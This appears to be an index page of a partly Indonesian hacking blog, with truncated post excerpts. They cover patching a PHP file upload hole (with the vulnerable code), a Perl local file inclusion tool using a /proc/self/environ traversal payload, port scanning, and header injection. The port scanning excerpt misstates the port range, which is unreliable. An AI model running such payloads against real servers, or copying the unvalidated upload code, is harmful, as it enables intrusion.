PHP Arbitrary File Upload Simple Patching

Saya akan membahas tentang cara simple mempatch PHP Arbitrary File Upload. Kebanyakan website yang vuln diupload memiliki garis besar seperti ini: Contoh simple upload.php file upload. <span style="color: #0000ff;">&lt;?php $uploaddir = 'uploads/'; // Relative path under webroot $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } [...]

Perbedaan HTTP dan HTTPS

Berikut ini akan dijelaskan perbedaan antara HTTP (Hyper Text Transfer Protocol) dan HTTPS (Hyper Text Transfer Protocol Secure), langsung saja: HTTP HTTP adalah dasar komunikasi data untuk World Wide Web (WWW). Setiap kali kita membuka website / halaman web kita akan menggunakan protokol ini. Sisi client meminta sisi server untuk membuka komunikasi pada port 80, [...]

LFI Remote Execute in PERL

Script berikut untuk menjalankan/mengeksekusi LFI proc/elft/environ secara simple di shell. #! /usr/bin/perl use LWP; use HTTP::Request; if (@ARGV < 1) { print "\n==========================================\n"; print " LFI Command Execution \n"; print "==========================================\n"; print "Usage: perl LFI.pl (without http:://)\n"; print "Ex. perl FLI.pl www.korban.com/index.php?page=\n"; exit; } $host=$ARGV[0]; $lfi = "..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"; print "Try to Execution Command!\n"; print "iDSc-shell# [...]

Port Scanner – Port Scanning Tools

What is port scanning? It is similar to a thief going through your neighborhood and checking every door and window on each house to see which ones are open and which ones are locked. similarly computers have ports form 1 to 3000 ports for communication EG:- 21: FTP 22: SSH 23: Telnet 53: Domain Name [...]

Injecting Code Melalui HTTP Header

Klien sebagai pengirim request memiliki kontrol penuh atas apa saja data yang dikirimkan ke server. Bila server lalai melakukan validasi input maka akibatnya bisa berbahaya. Umumnya attacker melakukan injeksi  melalui parameter pada GET atau form data pada POST. Padahal banyak jalan masuk lain yang bisa dicoba untuk menyerang server. Kali ini saya akan jelaskan bagaimana [...]